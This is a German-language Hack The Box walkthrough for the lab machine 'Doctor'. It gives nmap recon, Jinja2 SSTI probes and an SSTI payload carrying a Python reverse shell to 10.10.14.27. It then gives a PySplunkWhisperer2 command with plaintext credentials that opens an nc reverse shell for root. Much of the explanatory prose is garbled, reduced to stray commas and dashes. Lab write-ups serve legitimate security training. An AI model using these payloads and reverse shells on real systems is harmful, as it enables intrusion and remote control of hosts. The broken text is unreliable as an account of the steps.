Hack The Box. Exemplarische Vorgehensweise Doktor. SSTI zu RCE. LPE über Splunkd

Ich veröffentliche weiterhin Lösungen, die zur Finalisierung von Maschinen von der HackTheBox- Plattform gesendet wurden . Ich hoffe, dies wird zumindest jemandem helfen, sich im Bereich der Informationssicherheit zu entwickeln.





Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder einem Host herzustellen, auf dem wichtige Daten für Sie vorhanden sind, da Sie sich in einem privaten Netzwerk mit Personen befinden, die etwas über Informationssicherheit wissen :)





Organisationsinformationen

, - , :





- PWN;





- (Crypto);





- c (Network);





-  (Reverse Engineering);





-  (Stegano);





- WEB-;





,  , , .





, , Telegram . , , ().





Recon





IP 10.10.10.209, /etc/hosts.





10.10.10.209    doctor.htb
      
      



.   , - :





#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
      
      



  .





  /etc/hosts.





10.10.10.209    doctors.htb
      
      



, .





 Entry Point

.





  , .





  .





  , , XSS.





   , .





  , <item><title>. , .





  , .





  XSS, , SSTI. .





 :





</title></item>{{77}}
      
      



</title></item>{{7'7'}}
      
      



</title></item>{{config.items()}}
      
      



  . SSTI , :





{% for x in ().class.base.subclasses() %}
{% if "warning" in x.name %}
{{x().module.builtins'import'.popen("").read().zfill(417)}}
{%endif%}{% endfor %}
      
      



  :





import socket,subprocess,os;
s=socket.socket(socket.AFINET,socket.SOCKSTREAM);
s.connect(("10.10.14.27",4321));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash", "-i"]);
      
      



  . :





</title></item>{% for x in ().class.base.subclasses() %}{% if "warning" in x.name %}{{x().module.builtins'import'.popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect((\"10.10.14.27\",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
      
      



 USER

adm, . Apache pas, secret ..





 Und wir finden eine interessante Zeichenfolge, die das Passwort des Benutzers ist.





 Nachdem wir nun über die Anmeldeinformationen verfügen, versuchen wir, die Berechtigungen zu erhöhen, indem wir den Splunk-Dienst ausnutzen, der auf Port 8089 ausgeführt wird. Wir werden diesen Exploit verwenden (https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2).





python3 PySplunkWhisperer2_remote.py --lhost 10.10.14.27 --host 10.10.10.209 --username shaun --password Guitar123 --payload '/bin/bash -c "rm /tmp/r.r;mkfifo /tmp/r.r;cat /tmp/r.r|/bin/sh -i 2>&1|nc 10.10.14.27 5432 >/tmp/r.r"'
      
      



 Und wir bekommen eine Rückverbindung zu unserem Hörer.












All Articles